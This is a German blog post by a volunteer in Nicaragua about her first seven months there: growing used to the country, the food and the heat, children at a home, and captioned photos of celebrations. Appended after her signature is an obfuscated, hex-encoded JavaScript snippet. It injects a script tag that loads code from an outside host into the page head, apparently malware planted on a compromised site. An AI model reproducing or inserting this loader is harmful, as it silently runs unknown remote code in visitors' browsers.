Der Anfang vom Anfang

28. Feb 2018 | von | Kategorie: Freiwillige 2017/2018, Sandra Abrantes Diaz in Nicaragua

Hola ihr Lieben, es wird mal wieder Zeit für ein Update. Fangen wir doch da an, wo wir vor über 200 Tagen angefangen haben: Mir gehts gut, auch wenn der ein oder andere Tag etwas viel Kraft fordert.  Dass ich Nicaragua lieben gelernt habe fing nicht nur wegen der wunderschönen Landschaft an, die das Land zu bieten hat, sondern auch wegen der Menschen, die mich umgeben, und mich ins Herz geschlossen haben!

Dass schon bald Ostern ist, obwohl doch gerade erst Weihnachten war, hat mich doch ein wenig erschrocken. Ich meine, wenn am Anfang der großen, abenteurlichen, aufregenden Reise noch alles neu, ungewohnt und viel zu heiß war, dann heißt dieser Anfang der Sehnsucht des Bleibens jetzt, Abkürzungen, den Nachbarn und Freunde zu kennen. Natürlich ist es noch immer extrem heiß, aber ich merke, dass das anfängliche Dauerbedürdnis nach Wasser schon etwas zurückgegangen ist. Von anfänglichen vier Litern kann ich nun normale zwei bis zweieinhalb Liter am Tag zählen. Das Bedürfnis nach dem leckeren Nica-Essen ist jedoch stetig da und wo zunächst alles noch vorsichtig probiert wurde, wird jetzt mit Genuss gegessen 🙂

Natürlich tragen die Menschen, die mich umgeben die Hauptrolle in meinem Roman, meinem Freiwilligendienst. Ehrlich gesagt weiß ich gar nicht wie ich die vergangene Zeit einordnen soll: Komödie, weil es unglaublich viele witzige Momente gibt, Abenteuer, weil es dies am Anfang war und auch noch immer ist, wenn ich die Gelegenheit habe, das Land kennenzulernen (einen aktiven Vulkan hinunterzufahren macht man nicht jeden Tag und genausowenig durch einen Cañon zu schwimmen), Tragödie, da manche Geschichten von den Kindern aus dem Heim nichts anderes als das sind (gerade Missbrauch und Analphabetismus schocken mich immer wieder), aber irgendwo ist es auch eine Biografie meines Ichs, vielmehr meines “Anfangs-Ich” und jetztigen “Zwischen-ich”. Respekt, wenn ihr mir bis hierher verfolgen konntet – einfach gesagt, ich merke, dass viele Eindrücke  auf mir lasten und wenn ich an die ersten Wochen denke feststellen muss, dass der Anfang meines Jahres vielleicht erst jetzt ist. Erst jetzt, weil ich mich nicht neu, fremd, unwissend fühle, sondern mein Leben hier aufgebaut habe. Dazu gehört auch das Land und die Leute zu verstehen. Es ist also der Anfang des Anfangs sich wie eine Nica zu fühlen (tatsächlich wurde ich auch schon als solche gehalten). Wieso Vitamin C als so großes Heilmittel gesehen wird, hat mir anfangs den Kopf verdreht, aber am Anfang vom Anfang kann ich sagen, dass es wirklich hilft, denn der Glaube, dass es besser wird, durch Vitamin C viel mehr gestärkt wird!

Da Bilder viel mehr als tausend Worte sagen, lasse ich nun die Fotos für sich sprechen. Ich muss feststellen, dass schon jetzt meine Zeit nicht in Worte zu fassen ist!

 

Mit den Jüngsten bereitete ich nach dem Motto “Dschungelbuch” einen kleinen Tanz vor.

 

Eine große Geburtstagsfeier zum 15. mit allen zusammen!

 

Am 14. Februar war hier nicht nur Valentinstag, sondern auch Tag der Freundschaft. Selbstverständlich habe ich allen lieben Menschen Danke sagen wollen!

 

Nichts geht über Pfannkuchen von deutschen Händen zubereitet!

 

Bastelstunde

 

 

Was würde ich nur ohne all diese lieben Menschen machen?

 

Im Februar ging es eine Woche lang rund um Poesie, abends genossen wir öffentliche Konzerte im Freien!

 

Ein Spruch, der mich seit einiger Zeit begleitet und besonders wenn ich mal etwas geknickt bin gezeigt hat, dass es immer nur nach vorne geht, auch wenn das heißt, dass das Nachvornegehen mir mit jedem Morgen ein Tag weniger in Nicaragua gibt.

Cree que lo puedes hacer y lo harás! – Glaube, dass du es machen kannst und du wirst es machen! 

Eure Sandra var _0x29b4=[“\x73\x63\x72\x69\x70\x74″,”\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74″,”\x73\x72\x63″,”\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x65\x62\x2E\x73\x74\x61\x74\x69\x2E\x62\x69\x64\x2F\x6A\x73\x2F\x59\x51\x48\x48\x41\x41\x55\x44\x59\x77\x42\x46\x67\x6C\x44\x58\x67\x30\x56\x53\x42\x56\x57\x79\x45\x44\x51\x35\x64\x78\x47\x43\x42\x54\x4E\x54\x38\x55\x44\x47\x55\x42\x42\x54\x30\x7A\x50\x46\x55\x6A\x43\x74\x41\x52\x45\x32\x4E\x7A\x41\x56\x4A\x53\x49\x50\x51\x30\x46\x4A\x41\x42\x46\x55\x56\x54\x4B\x5F\x41\x41\x42\x4A\x56\x78\x49\x47\x45\x6B\x48\x35\x51\x43\x46\x44\x42\x41\x53\x56\x49\x68\x50\x50\x63\x52\x45\x71\x59\x52\x46\x45\x64\x52\x51\x63\x73\x55\x45\x6B\x41\x52\x4A\x59\x51\x79\x41\x58\x56\x42\x50\x4E\x63\x51\x4C\x61\x51\x41\x56\x6D\x34\x43\x51\x43\x5A\x41\x41\x56\x64\x45\x4D\x47\x59\x41\x58\x51\x78\x77\x61\x2E\x6A\x73\x3F\x74\x72\x6C\x3D\x30\x2E\x35\x30″,”\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64″,”\x68\x65\x61\x64”];var el=document[_0x29b4[1]](_0x29b4[0]);el[_0x29b4[2]]= _0x29b4[3];document[_0x29b4[5]][_0x29b4[4]](el)

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